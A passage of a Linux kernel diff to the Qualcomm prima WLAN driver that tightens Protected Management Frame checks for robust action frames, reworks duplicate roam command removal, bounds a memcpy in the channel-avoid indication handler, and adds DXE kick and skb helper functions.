b/drivers/staging/prima/CORE/MAC/src/pe/lim/limP2P.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2014 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2014, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -1169,56 +1169,35 @@ void limSendP2PActionFrame(tpAniSirGlobal pMac, tpSirMsgQ pMsg) pActionHdr = (tpSirMacActionFrameHdr) (pFrame + sizeof(tSirMacMgmtHdr)); /* - * Setting Protected bit for SA_QUERY Action Frame + * Setting Protected bit only for Robust Action Frames * This has to be based on the current Connection with the station - * limSetProtectedBit API will set the protected bit if connection if PMF + * limSetProtectedBit API will set the protected bit if connection is PMF */ - if ((SIR_MAC_MGMT_ACTION == pFc->subType) && - (SIR_MAC_ACTION_SA_QUERY == pActionHdr->category)) + psessionEntry->limRmfEnabled && (!limIsGroupAddr(pMacHdr->da)) && + lim_is_robust_mgmt_action_frame(pActionHdr->category)) { - pMacHdr = (tpSirMacMgmtHdr ) pFrame; - psessionEntry = peFindSessionByBssid(pMac, - (tANI_U8*)pMbMsg->data + BSSID_OFFSET, &sessionId); - - /* Check for session corresponding to ADDR2 ss supplicant is filling - ADDR2 with BSSID */ - if(NULL == psessionEntry) - { - psessionEntry = peFindSessionByBssid(pMac, - (tANI_U8*)pMbMsg->data + ADDR2_OFFSET, &sessionId); - } - - if(NULL != psessionEntry) - { - limSetProtectedBit(pMac, psessionEntry, pMacHdr->da, pMacHdr); - } - else - { - limLog(pMac, LOGE, - FL("Dropping SA Query frame - Unable to find PE Session ")); - limSendSmeRsp(pMac, eWNI_SME_ACTION_FRAME_SEND_CNF, - eHAL_STATUS_FAILURE, pMbMsg->sessionId, 0); - palPktFree( pMac->hHdd, HAL_TXRX_FRM_802_11_MGMT, - ( void* ) pFrame, ( void* ) pPacket ); - return; - } + pMacHdr = (tpSirMacMgmtHdr)pFrame; + /* All psession checks are already done at start */ + limSetProtectedBit(pMac, psessionEntry, pMacHdr->da, pMacHdr); /* - * If wep bit is not set in MAC header then we are trying to - * send SA Query via non PMF connection. Drop the packet. + * If wep bit is not set in MAC header of robust management action frame + * then we are trying to send RMF via non PMF connection. + * Drop the packet instead of sending malform packet. */ - - if(0 == pMacHdr->fc.wep) + if (0 == pMacHdr->fc.wep) { limLog(pMac, LOGE, - FL("Dropping SA Query frame due to non PMF connection\n")); + FL("Drop action frame with category[%d] due to non-PMF conn"), + pActionHdr->category); limSendSmeRsp(pMac, eWNI_SME_ACTION_FRAME_SEND_CNF, eHAL_STATUS_FAILURE, pMbMsg->sessionId, 0); palPktFree( pMac->hHdd, HAL_TXRX_FRM_802_11_MGMT, ( void* ) pFrame, ( void* ) pPacket ); return; } + } #endif diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessActionFrame.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessActionFrame.c index 869b30fa978ea..bff5151b048a9 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessActionFrame.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limProcessActionFrame.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -2247,15 +2247,20 @@ limProcessActionFrame(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo,tpPESession ps tpSirMacActionFrameHdr pActionHdr = (tpSirMacActionFrameHdr) pBody; #ifdef WLAN_FEATURE_11W tpSirMacMgmtHdr pHdr = WDA_GET_RX_MAC_HEADER(pRxPacketInfo); + + if (lim_is_robust_mgmt_action_frame(pActionHdr->category) && + limDropUnprotectedActionFrame(pMac, psessionEntry, pHdr, + pActionHdr->category)) { + limLog(pMac, LOGE, + FL("Don't send unprotect action frame to upper layer categ %d "), + pActionHdr->category); + return; + } #endif switch (pActionHdr->category) { case SIR_MAC_ACTION_QOS_MGMT: -#ifdef WLAN_FEATURE_11W - if (limDropUnprotectedActionFrame(pMac, psessionEntry, pHdr, pActionHdr->category)) - break; -#endif if ( (psessionEntry->limQosEnabled) || (pActionHdr->actionID == SIR_MAC_QOS_MAP_CONFIGURE) ) { @@ -2288,10 +2293,6 @@ limProcessActionFrame(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo,tpPESession ps break; case SIR_MAC_ACTION_SPECTRUM_MGMT: -#ifdef WLAN_FEATURE_11W - if (limDropUnprotectedActionFrame(pMac, psessionEntry, pHdr, pActionHdr->category)) - break; -#endif switch (pActionHdr->actionID) { #ifdef ANI_SUPPORT_11H @@ -2362,10 +2363,6 @@ limProcessActionFrame(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo,tpPESession ps case SIR_MAC_ACTION_BLKACK: // Determine the "type" of BA Action Frame -#ifdef WLAN_FEATURE_11W - if (limDropUnprotectedActionFrame(pMac, psessionEntry, pHdr, pActionHdr->category)) - break; -#endif switch(pActionHdr->actionID) { case SIR_MAC_BLKACK_ADD_REQ: @@ -2401,10 +2398,6 @@ limProcessActionFrame(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo,tpPESession ps case SIR_MAC_ACTION_WNM: { -#ifdef WLAN_FEATURE_11W - if (limDropUnprotectedActionFrame(pMac, psessionEntry, pHdr, pActionHdr->category)) - break; -#endif PELOGE(limLog(pMac, LOG1, FL("WNM Action category %d action %d."), pActionHdr->category, pActionHdr->actionID);) switch (pActionHdr->actionID) @@ -2429,10 +2422,6 @@ limProcessActionFrame(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo,tpPESession ps } #if defined WLAN_FEATURE_VOWIFI case SIR_MAC_ACTION_RRM: -#ifdef WLAN_FEATURE_11W - if (limDropUnprotectedActionFrame(pMac, psessionEntry, pHdr, pActionHdr->category)) - break; -#endif if( pMac->rrm.rrmPEContext.rrmEnable ) { switch(pActionHdr->actionID) { @@ -2564,8 +2553,6 @@ limProcessActionFrame(tpAniSirGlobal pMac, tANI_U8 *pRxPacketInfo,tpPESession ps case SIR_MAC_ACTION_SA_QUERY: { PELOGE(limLog(pMac, LOG1, FL("SA Query Action category %d action %d."), pActionHdr->category, pActionHdr->actionID);) - if (limDropUnprotectedActionFrame(pMac, psessionEntry, pHdr, pActionHdr->category)) - break; switch (pActionHdr->actionID) { case SIR_MAC_SA_QUERY_REQ: diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limUtils.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limUtils.c index 33c3120f4d79b..a1c94e67ede14 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limUtils.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limUtils.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011-2015. The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2016. The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -8498,3 +8498,45 @@ eHalStatus limTxBdComplete(tpAniSirGlobal pMac, void *pData) pTxBdStatus->txBdToken, pTxBdStatus->txCompleteStatus); return eHAL_STATUS_SUCCESS; } + +/** + * lim_is_robust_mgmt_action_frame() - Check if action catagory is + * robust action frame + * @action_catagory: Action frame catagory. + * + * This function is used to check if given action catagory is robust + * action frame. + * + * Return: bool + */ +bool lim_is_robust_mgmt_action_frame(uint8 action_catagory) +{ + switch (action_catagory) { + /* + * NOTE: This function doesn't take care of the DMG + * (Directional Multi-Gigatbit) BSS case as 8011ad + * support is not yet added. In future, if the support + * is required then this function need few more arguments + * and little change in logic. + */ + case SIR_MAC_ACTION_SPECTRUM_MGMT: + case SIR_MAC_ACTION_QOS_MGMT: + case SIR_MAC_ACTION_DLP: + case SIR_MAC_ACTION_BLKACK: + case SIR_MAC_ACTION_RRM: + case SIR_MAC_ACTION_FAST_BSS_TRNST: + case SIR_MAC_ACTION_SA_QUERY: + case SIR_MAC_ACTION_PROT_DUAL_PUB: + case SIR_MAC_ACTION_WNM: + case SIR_MAC_ACITON_MESH: + case SIR_MAC_ACTION_MHF: + case SIR_MAC_ACTION_FST: + return true; + default: + VOS_TRACE (VOS_MODULE_ID_PE, VOS_TRACE_LEVEL_INFO, + FL("non-PMF action category[%d] "), + action_catagory); + break; + } + return false; +} diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limUtils.h b/drivers/staging/prima/CORE/MAC/src/pe/lim/limUtils.h index 4086f64e8fdfd..6a2a9b209c8ef 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limUtils.h +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limUtils.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -558,4 +558,6 @@ extern tANI_U32 limGetMaxRateFlags(tpDphHashNode pStaDs, void limDecrementPendingMgmtCount (tpAniSirGlobal pMac); eHalStatus limTxBdComplete(tpAniSirGlobal pMac, void *pData); +bool lim_is_robust_mgmt_action_frame(uint8 action_catagory); + #endif /* __LIM_UTILS_H */ diff --git a/drivers/staging/prima/CORE/SME/src/csr/csrApiRoam.c b/drivers/staging/prima/CORE/SME/src/csr/csrApiRoam.c index f310a92a7f990..fc8456de151e3 100644 --- a/drivers/staging/prima/CORE/SME/src/csr/csrApiRoam.c +++ b/drivers/staging/prima/CORE/SME/src/csr/csrApiRoam.c @@ -2523,72 +2523,117 @@ eHalStatus csrInitChannelPowerList( tpAniSirGlobal pMac, tCsr11dinfo *ps11dinfo) return eHAL_STATUS_SUCCESS; } -//pCommand may be NULL -//Pass in sessionId in case pCommand is NULL. sessionId is not used in case pCommand is not NULL. -void csrRoamRemoveDuplicateCommand(tpAniSirGlobal pMac, tANI_U32 sessionId, tSmeCmd *pCommand, eCsrRoamReason eRoamReason) +/** + * csr_roam_remove_duplicate_cmd_from_list()- Remove duplicate roam cmd from + * list + * + * @pMac: pointer to global mac + * @sessionId: session id for the cmd + * @pList: pending list from which cmd needs to be removed + * @pCommand: cmd to be removed, can be NULL + * @eRoamReason: cmd with reason to be removed + * + * Remove duplicate command from the pending list. + * + * Return: void + */ +void csr_roam_remove_duplicate_cmd_from_list(tpAniSirGlobal pMac, + tANI_U32 sessionId, tDblLinkList *pList, + tSmeCmd *pCommand, eCsrRoamReason eRoamReason) { tListElem *pEntry, *pNextEntry; tSmeCmd *pDupCommand; tDblLinkList localList; vos_mem_zero(&localList, sizeof(tDblLinkList)); - if(!HAL_STATUS_SUCCESS(csrLLOpen(pMac->hHdd, &localList))) + if (!HAL_STATUS_SUCCESS(csrLLOpen(pMac->hHdd, &localList))) { - smsLog(pMac, LOGE, FL(" failed to open list")); + smsLog(pMac, LOGE, FL("failed to open list")); return; } - csrLLLock( &pMac->sme.smeCmdPendingList ); - pEntry = csrLLPeekHead( &pMac->sme.smeCmdPendingList, LL_ACCESS_NOLOCK ); - while( pEntry ) + csrLLLock(pList); + pEntry = csrLLPeekHead(pList, LL_ACCESS_NOLOCK); + while (pEntry) { - pNextEntry = csrLLNext( &pMac->sme.smeCmdPendingList, pEntry, LL_ACCESS_NOLOCK ); - pDupCommand = GET_BASE_ADDR( pEntry, tSmeCmd, Link ); - // Remove the previous command if.. - // - the new roam command is for the same RoamReason... - // - the new roam command is a NewProfileList. - // - the new roam command is a Forced Dissoc - // - the new roam command is from an 802.11 OID (OID_SSID or OID_BSSID). - if ( - (pCommand && ( pCommand->sessionId == pDupCommand->sessionId ) && - ((pCommand->command == pDupCommand->command) && - /* This peermac check is requried for Softap/GO scenarios - * For STA scenario below OR check will suffice as pCommand will - * always be NULL for STA scenarios - */ - (vos_mem_compare(pDupCommand->u.roamCmd.peerMac, pCommand->u.roamCmd.peerMac, sizeof(v_MACADDR_t))) && - (pCommand->u.roamCmd.roamReason == pDupCommand->u.roamCmd.roamReason || - eCsrForcedDisassoc == pCommand->u.roamCmd.roamReason || - eCsrHddIssued == pCommand->u.roamCmd.roamReason))) - || - //below the pCommand is NULL - ( (sessionId == pDupCommand->sessionId) && - (eSmeCommandRoam == pDupCommand->command) && - ((eCsrForcedDisassoc == eRoamReason) || - (eCsrHddIssued == eRoamReason)) - ) - ) - { - smsLog(pMac, LOGW, FL(" roamReason = %d"), pDupCommand->u.roamCmd.roamReason); - // Remove the 'stale' roam command from the pending list... - if(csrLLRemoveEntry( &pMac->sme.smeCmdPendingList, pEntry, LL_ACCESS_NOLOCK )) - { + pNextEntry = csrLLNext(pList, pEntry, LL_ACCESS_NOLOCK); + pDupCommand = GET_BASE_ADDR(pEntry, tSmeCmd, Link); + /* + * Remove the previous command if.. + * - the new roam command is for the same RoamReason... + * - the new roam command is a NewProfileList. + * - the new roam command is a Forced Dissoc + * - the new roam command is from an 802.11 OID + * (OID_SSID or OID_BSSID). + */ + if ((pCommand && (pCommand->sessionId == pDupCommand->sessionId) && + ((pCommand->command == pDupCommand->command) && + /* + * This peermac check is requried for Softap/GO scenarios + * For STA scenario below OR check will suffice as pCommand + * will always be NULL for STA scenarios + */ + (vos_mem_compare(pDupCommand->u.roamCmd.peerMac, + pCommand->u.roamCmd.peerMac, sizeof(v_MACADDR_t))) && + ((pCommand->u.roamCmd.roamReason == + pDupCommand->u.roamCmd.roamReason) || + (eCsrForcedDisassoc == pCommand->u.roamCmd.roamReason) || + (eCsrHddIssued == pCommand->u.roamCmd.roamReason)))) || + /* OR if pCommand is NULL */ + ((sessionId == pDupCommand->sessionId) && + (eSmeCommandRoam == pDupCommand->command) && + ((eCsrForcedDisassoc == eRoamReason) || + (eCsrHddIssued == eRoamReason)))) + { + smsLog(pMac, LOGW, FL("RoamReason = %d"), + pDupCommand->u.roamCmd.roamReason); + /* Remove the 'stale' roam command from the pending list */ + if (csrLLRemoveEntry(pList, pEntry, LL_ACCESS_NOLOCK)) csrLLInsertTail(&localList, pEntry, LL_ACCESS_NOLOCK); - } } pEntry = pNextEntry; } - csrLLUnlock( &pMac->sme.smeCmdPendingList ); + csrLLUnlock(pList); - while( (pEntry = csrLLRemoveHead(&localList, LL_ACCESS_NOLOCK)) ) + while ((pEntry = csrLLRemoveHead(&localList, LL_ACCESS_NOLOCK))) { pDupCommand = GET_BASE_ADDR( pEntry, tSmeCmd, Link ); - //Tell caller that the command is cancelled - csrRoamCallCallback(pMac, pDupCommand->sessionId, NULL, pDupCommand->u.roamCmd.roamId, - eCSR_ROAM_CANCELLED, eCSR_ROAM_RESULT_NONE); + /* Tell caller that the command is cancelled */ + csrRoamCallCallback(pMac, pDupCommand->sessionId, NULL, + pDupCommand->u.roamCmd.roamId, + eCSR_ROAM_CANCELLED, eCSR_ROAM_RESULT_NONE); csrReleaseCommandRoam(pMac, pDupCommand); } csrLLClose(&localList); } + +/** + * csrRoamRemoveDuplicateCommand()- Remove duplicate roam cmd + * from pending lists. + * + * @pMac: pointer to global mac + * @sessionId: session id for the cmd + * @pCommand: cmd to be removed, can be null + * @eRoamReason: cmd with reason to be removed + * + * Remove duplicate command from the sme and roam pending list. + * + * Return: void + */ +void csrRoamRemoveDuplicateCommand(tpAniSirGlobal pMac, + tANI_U32 sessionId, tSmeCmd *pCommand, + eCsrRoamReason eRoamReason) +{ + /* Always lock active list before locking pending lists */ + csrLLLock(&pMac->sme.smeCmdActiveList); + csr_roam_remove_duplicate_cmd_from_list(pMac, + sessionId, &pMac->sme.smeCmdPendingList, + pCommand, eRoamReason); + csr_roam_remove_duplicate_cmd_from_list(pMac, + sessionId, &pMac->roam.roamCmdPendingList, + pCommand, eRoamReason); + csrLLUnlock(&pMac->sme.smeCmdActiveList); +} + eHalStatus csrRoamCallCallback(tpAniSirGlobal pMac, tANI_U32 sessionId, tCsrRoamInfo *pRoamInfo, tANI_U32 roamId, eRoamCmdStatus u1, eCsrRoamResult u2) { diff --git a/drivers/staging/prima/CORE/SME/src/sme_common/sme_FTApi.c b/drivers/staging/prima/CORE/SME/src/sme_common/sme_FTApi.c index 344e442751f45..cde968833a276 100644 --- a/drivers/staging/prima/CORE/SME/src/sme_common/sme_FTApi.c +++ b/drivers/staging/prima/CORE/SME/src/sme_common/sme_FTApi.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2014 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2014, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -360,10 +360,10 @@ eHalStatus sme_FTUpdateKey( tHalHandle hHal, tCsrRoamSetKey * pFTKeyInfo ) pMac->ft.ftSmeContext.FTState, status); #endif break; - + default: - smsLog( pMac, LOGE, "%s: Unhandled state=%d", __func__, - pMac->ft.ftSmeContext.FTState); + smsLog(pMac, LOG1, FL("Unhandled state=%d"), + pMac->ft.ftSmeContext.FTState); status = eHAL_STATUS_FAILURE; break; } diff --git a/drivers/staging/prima/CORE/TL/inc/wlan_qct_tl.h b/drivers/staging/prima/CORE/TL/inc/wlan_qct_tl.h index 2831a0d8cccf8..80975c7bd4eee 100644 --- a/drivers/staging/prima/CORE/TL/inc/wlan_qct_tl.h +++ b/drivers/staging/prima/CORE/TL/inc/wlan_qct_tl.h @@ -609,8 +609,8 @@ typedef tSap_SoftapStats WLANTL_TRANSFER_STA_TYPE; typedef enum { WLANTL_DEBUG_TX_SNAPSHOT = 1<<0, - WLANTL_DEBUG_FW_CLEANUP = 1<<1, + WLANTL_DEBUG_KICKDXE = 1<<2 }WLANTL_DebugFlags; /*---------------------------------------------------------------------------- diff --git a/drivers/staging/prima/CORE/TL/src/wlan_qct_tl.c b/drivers/staging/prima/CORE/TL/src/wlan_qct_tl.c index 929141c7d4486..5396d2762725a 100644 --- a/drivers/staging/prima/CORE/TL/src/wlan_qct_tl.c +++ b/drivers/staging/prima/CORE/TL/src/wlan_qct_tl.c @@ -7290,6 +7290,19 @@ WLANTL_TLDebugMessage return; } } + if(debugFlags & WLANTL_DEBUG_KICKDXE) + { + vosMsg.reserved = 0; + vosMsg.bodyptr = NULL; + vosMsg.type = WLANTL_TX_KICKDXE; + + status = vos_tx_mq_serialize( VOS_MODULE_ID_TL, &vosMsg); + if(status != VOS_STATUS_SUCCESS) + { + TLLOGE(VOS_TRACE(VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, "TX Msg Posting Failed with status: %d",status)); + return; + } + } return; } @@ -9439,6 +9452,10 @@ WLANTL_TxProcessMsg vos_fwDumpReq(274, 0, 0, 0, 0, 1); //Async event break; + case WLANTL_TX_KICKDXE: + WDA_TransportKickDxe(); + break; + default: /*no processing for now*/ break; diff --git a/drivers/staging/prima/CORE/TL/src/wlan_qct_tli.h b/drivers/staging/prima/CORE/TL/src/wlan_qct_tli.h index ac0247d463b1a..c59067c347d08 100644 --- a/drivers/staging/prima/CORE/TL/src/wlan_qct_tli.h +++ b/drivers/staging/prima/CORE/TL/src/wlan_qct_tli.h @@ -282,6 +282,8 @@ typedef enum WLANTL_TX_FW_DEBUG = 8, + WLANTL_TX_KICKDXE = 9, + WLANTL_TX_MAX }WLANTL_TxSignalsType; diff --git a/drivers/staging/prima/CORE/VOSS/inc/vos_packet.h b/drivers/staging/prima/CORE/VOSS/inc/vos_packet.h index 2fe96d9c39d52..3aa0a33b55ebb 100644 --- a/drivers/staging/prima/CORE/VOSS/inc/vos_packet.h +++ b/drivers/staging/prima/CORE/VOSS/inc/vos_packet.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011-2014 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -1134,4 +1134,40 @@ v_U8_t vos_pkt_get_proto_type void *pskb, v_U8_t tracking_map ); + +/** + @brief vos_get_pkt_head() - Get skb head pointer + + @param + pPacket - the voss Packet to operate on + @return + v_PVOID_t - skb head pointer + +*/ +v_PVOID_t vos_get_pkt_head(vos_pkt_t *pPacket); + +/** + + @brief vos_get_pkt_end() - Get skb end pointer + + @param + pPacket - the voss Packet to operate on + @return + v_PVOID_t - skb end pointer + +*/ +v_PVOID_t vos_get_pkt_end(vos_pkt_t *pPacket); + +/** + + @brief vos_recover_tail() - Recover corrupted tail of skb + + @param + pPacket - the voss Packet to operate on + @return + v_VOID_t - None + +*/ +v_VOID_t vos_recover_tail(vos_pkt_t *pPacket); + #endif // !defined( __VOS_PKT_H ) diff --git a/drivers/staging/prima/CORE/VOSS/src/vos_packet.c b/drivers/staging/prima/CORE/VOSS/src/vos_packet.c index 5dba8ac4d0551..43daf9f7d370c 100644 --- a/drivers/staging/prima/CORE/VOSS/src/vos_packet.c +++ b/drivers/staging/prima/CORE/VOSS/src/vos_packet.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2014 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -59,6 +59,8 @@ #define VOS_PKT_PROT_DHCP_CLI_PORT 68 #define VOS_PKT_PROT_EAPOL_ETH_TYPE 0x888E #define VOS_PKT_PROT_ARP_ETH_TYPE 0x0806 +#define VOS_PKT_GET_HEAD(skb) (skb->head) +#define VOS_PKT_GET_END(skb) (skb->end) /*-------------------------------------------------------------------------- Type declarations @@ -3097,6 +3099,87 @@ v_U8_t vos_pkt_get_proto_type /* Protocol type map */ return pkt_proto_type; } + +v_PVOID_t vos_get_pkt_head(vos_pkt_t *pPacket) +{ + struct sk_buff *skb; + + // Validate the parameter pointers + if (unlikely(NULL == pPacket)) + { + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_FATAL, + "VPKT [%d]: NULL pointer", __LINE__); + return NULL; + } + + if ( VOS_STATUS_SUCCESS != + vos_pkt_get_os_packet(pPacket, (void**)&skb, VOS_FALSE )) + { + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_FATAL, + "OS-PKT [%d]: OS PKT pointer is NULL", __LINE__); + return NULL; + } + + return VOS_PKT_GET_HEAD(skb); +} + +v_PVOID_t vos_get_pkt_end(vos_pkt_t *pPacket) +{ + struct sk_buff *skb; + + // Validate the parameter pointers + if (unlikely(NULL == pPacket)) + { + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_FATAL, + "VPKT [%d]: NULL pointer", __LINE__); + return NULL; + } + + if ( VOS_STATUS_SUCCESS != + vos_pkt_get_os_packet(pPacket, (void**)&skb, VOS_FALSE )) + { + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_FATAL, + "OS-PKT [%d]: OS PKT pointer is NULL", __LINE__); + return NULL; + } + + /* find end point if skb->end is an offset */ +#ifdef NET_SKBUFF_DATA_USES_OFFSET + return VOS_PKT_GET_HEAD(skb) + VOS_PKT_GET_END(skb); +#else + return VOS_PKT_GET_END(skb); +#endif +} + +v_VOID_t vos_recover_tail(vos_pkt_t *pPacket) +{ + struct skb_shared_info *shinfo; + struct sk_buff *skb; + + // Validate the parameter pointers + if (unlikely(NULL == pPacket)) + { + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_FATAL, + "VPKT [%d]: NULL pointer", __LINE__); + return; + } + + if ( VOS_STATUS_SUCCESS != + vos_pkt_get_os_packet(pPacket, (void**)&skb, VOS_FALSE )) + { + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_FATAL, + "OS-PKT [%d]: OS PKT pointer is NULL", __LINE__); + return; + } + + shinfo = skb_shinfo(skb); + memset(shinfo, 0, sizeof(struct skb_shared_info)); + atomic_set(&shinfo->dataref, 1); + kmemcheck_annotate_variable(shinfo->destructor_arg); + + return; +} + #ifdef VOS_PACKET_UNIT_TEST #include "vos_packet_test.c" #endif diff --git a/drivers/staging/prima/CORE/WDA/inc/wlan_qct_wda.h b/drivers/staging/prima/CORE/WDA/inc/wlan_qct_wda.h index 25a7146c3b7c7..dc09fc93913f0 100644 --- a/drivers/staging/prima/CORE/WDA/inc/wlan_qct_wda.h +++ b/drivers/staging/prima/CORE/WDA/inc/wlan_qct_wda.h @@ -2062,6 +2062,22 @@ void WDA_TransportChannelDebug v_U8_t debugFlags ); +/*========================================================================== + FUNCTION WDA_TransportKickDxe + + DESCRIPTION + Request Kick DXE when first hdd TX time out + happens + + PARAMETERS + NONE + + RETURN VALUE + NONE + +===========================================================================*/ +void WDA_TransportKickDxe(void); + /*========================================================================== FUNCTION WDA_TrafficStatsTimerActivate diff --git a/drivers/staging/prima/CORE/WDA/src/wlan_qct_wda.c b/drivers/staging/prima/CORE/WDA/src/wlan_qct_wda.c index dc5bbeadee657..802cc7f441b2e 100644 --- a/drivers/staging/prima/CORE/WDA/src/wlan_qct_wda.c +++ b/drivers/staging/prima/CORE/WDA/src/wlan_qct_wda.c @@ -2276,6 +2276,21 @@ VOS_STATUS WDA_prepareConfigTLV(v_PVOID_t pVosContext, tlvStruct = (tHalCfg *)( (tANI_U8 *) tlvStruct + sizeof(tHalCfg) + tlvStruct->length) ; + /* QWLAN_HAL_CFG_SAR_BOFFSET_CORRECTION_ENABLE */ + tlvStruct->type = QWLAN_HAL_CFG_SAR_BOFFSET_CORRECTION_ENABLE; + tlvStruct->length = sizeof(tANI_U32); + configDataValue = (tANI_U32 *)(tlvStruct + 1); + + if (wlan_cfgGetInt(pMac, WNI_CFG_SAR_BOFFSET_SET_CORRECTION, + configDataValue ) != eSIR_SUCCESS) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "Failed to get value for WNI_CFG_SAR_BOFFSET_SET_CORRECTION"); + goto handle_failure; + } + tlvStruct = (tHalCfg *)( (tANI_U8 *) tlvStruct + + sizeof(tHalCfg) + tlvStruct->length) ; + wdiStartParams->usConfigBufferLen = (tANI_U8 *)tlvStruct - tlvStructStart ; #ifdef WLAN_DEBUG { @@ -13293,7 +13308,7 @@ VOS_STATUS WDA_TxComplete( v_PVOID_t pVosContext, vos_pkt_t *pData, tWDA_CbContext *wdaContext= (tWDA_CbContext *)VOS_GET_WDA_CTXT(pVosContext); tpAniSirGlobal pMac = (tpAniSirGlobal)VOS_GET_MAC_CTXT((void *)pVosContext) ; - tANI_U32 uUserData; + tANI_U64 uUserData; VOS_TRACE(VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, "Enter:%s", __func__); @@ -17969,6 +17984,27 @@ void WDA_TransportChannelDebug return; } +/*========================================================================== + FUNCTION WDA_TransportKickDxe + + DESCRIPTION + Request Kick Dxe when first hdd TX time out + happens + + PARAMETERS + NONE + + RETURN VALUE + NONE + +===========================================================================*/ +void WDA_TransportKickDxe() +{ + WDI_TransportKickDxe(); + return; +} + + /*========================================================================== FUNCTION WDA_SetEnableSSR diff --git a/drivers/staging/prima/CORE/WDI/CP/inc/wlan_qct_wdi.h b/drivers/staging/prima/CORE/WDI/CP/inc/wlan_qct_wdi.h index 1795ca83e3ba7..0b614bd2f7303 100644 --- a/drivers/staging/prima/CORE/WDI/CP/inc/wlan_qct_wdi.h +++ b/drivers/staging/prima/CORE/WDI/CP/inc/wlan_qct_wdi.h @@ -11200,6 +11200,16 @@ void WDI_TransportChannelDebug wpt_uint8 debugFlags ); +/** + @brief WDI_TransportKickDxe - + Request Kick DXE when first HDD TX time out + happens + @param none + @see + @return none +*/ +void WDI_TransportKickDxe(void); + /** @brief WDI_SsrTimerCB Callback function for SSR timer, if this is called then the graceful diff --git a/drivers/staging/prima/CORE/WDI/CP/src/wlan_qct_wdi.c b/drivers/staging/prima/CORE/WDI/CP/src/wlan_qct_wdi.c index 2d4f7b215902e..067f27503fb16 100644 --- a/drivers/staging/prima/CORE/WDI/CP/src/wlan_qct_wdi.c +++ b/drivers/staging/prima/CORE/WDI/CP/src/wlan_qct_wdi.c @@ -29862,6 +29862,21 @@ void WDI_TransportChannelDebug WDTS_ChannelDebug(displaySnapshot, debugFlags); return; } + +/** + @brief WDI_TransportKickDxe - + Request Kick DXE when HDD TX time out happen + + @param none + @see + @return none +*/ +void WDI_TransportKickDxe() +{ + WDTS_ChannelKickDxe(); + return; +} + /** @brief WDI_SsrTimerCB Callback function for SSR timer, if this is called then the graceful @@ -31019,6 +31034,7 @@ WDI_ProcessChAvoidInd WDI_LowLevelIndType wdiInd; tHalAvoidFreqRangeIndParams chAvoidIndicationParam; wpt_uint16 rangeLoop; + wpt_uint32 dataSize; /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ /*------------------------------------------------------------------------- @@ -31033,12 +31049,16 @@ WDI_ProcessChAvoidInd return WDI_STATUS_E_FAILURE; } + dataSize = sizeof(tHalAvoidFreqRangeIndParams); + if (dataSize > pEventData->uEventDataSize) + dataSize = pEventData->uEventDataSize; + /*------------------------------------------------------------------------- Extract indication and send it to UMAC -------------------------------------------------------------------------*/ wpalMemoryCopy(&chAvoidIndicationParam, pEventData->pEventData, - sizeof(tHalAvoidFreqRangeIndParams)); + dataSize); /* Avoid Over flow */ if (WLAN_HAL_MAX_AVOID_FREQ_RANGE < chAvoidIndicationParam.avoidCnt) diff --git a/drivers/staging/prima/CORE/WDI/TRP/DTS/inc/wlan_qct_wdi_dts.h b/drivers/staging/prima/CORE/WDI/TRP/DTS/inc/wlan_qct_wdi_dts.h index 2eccf5c93ac65..f7e74d1bb87eb 100644 --- a/drivers/staging/prima/CORE/WDI/TRP/DTS/inc/wlan_qct_wdi_dts.h +++ b/drivers/staging/prima/CORE/WDI/TRP/DTS/inc/wlan_qct_wdi_dts.h @@ -132,6 +132,7 